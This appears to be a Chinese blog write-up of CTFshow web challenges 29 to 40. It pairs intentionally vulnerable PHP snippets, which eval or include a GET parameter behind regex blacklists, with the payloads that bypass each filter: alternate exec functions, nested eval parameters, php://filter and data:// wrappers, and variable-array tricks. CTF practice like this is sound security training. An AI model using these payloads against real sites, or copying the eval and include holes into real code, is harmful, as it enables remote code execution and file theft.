CTFshow-命令执行(1)

ctfshow-web-29

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

先?c=system("ls"); 查看目录。

flag被过滤了,用?占位符来进行读取,用tac打开fla?.php可以直接显示flag

ctfshow-web-30

php 执行命令函数

if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
}

禁用了system, 不过可以用其他的命令执行函数exec(),passthru(),shell_exec()

php 执行命令函数

payload:?c=passthru("tac fla*");

ctfshow-web-31

eval逃逸参数

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

多过滤了不少东西,但是没过滤eval,可以在传一个参数,传的参数就没过滤了。

playload:?c=eval($_GET[1]);&1=system("tac flag.php");

ctfshow-web-32--36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤了;和(  ,这题可以用include包含一个GET请求,请求内容是php://filter伪协议

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

空格用%0a绕过,分号用?>绕过,把输出的结果base64解码即可得到正确答案

ctfshow-web-37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }

37题变成了GET传入参数,过滤之后再include包含,输出flag

include里不能解析php代码,所以没法直接传入其他参数,那就用data协议来完成

?c=data://text/plain,<?php system("tac fla*");?>

php文件包含漏洞CTF中文件包含漏洞总结_LetheSec的博客-CSDN博客

ctfshow-web-38

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
} 
 

这里把php过滤了,对于这道题目可以用<?= ?>代替<?php ?>。<?= ?>短标签会直接把php的结果输出

ctfshow-web-39

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag,后面还强制加上了.php,不过不影响,直接用data协议

?c=data://text/plain,<?php system('tac fla*')?>

ctfshow-web-40

用分号、字母、小括号从变量入手

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

看下代码发现没有过滤分号,字母,英文小括号也没过滤,这题试着从变量里拿flag

首先payload:?c=print_r(get_defined_vars());

get_defined_vars():返回由所有已定义变量所组成的数组 print_r():用于打印变量

传一个POST值 1=phpinfo(); 再用next ?c=print_r(next(get_defined_vars()));

使用array_pop()函数将他的值弹出打印,?c=print_r(array_pop(next(get_defined_vars())));

发现能拿到需要的结果,那就用eval执行?c=eval(array_pop(next(get_defined_vars())));

最后POST的值换成1=system("ls");就行了

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值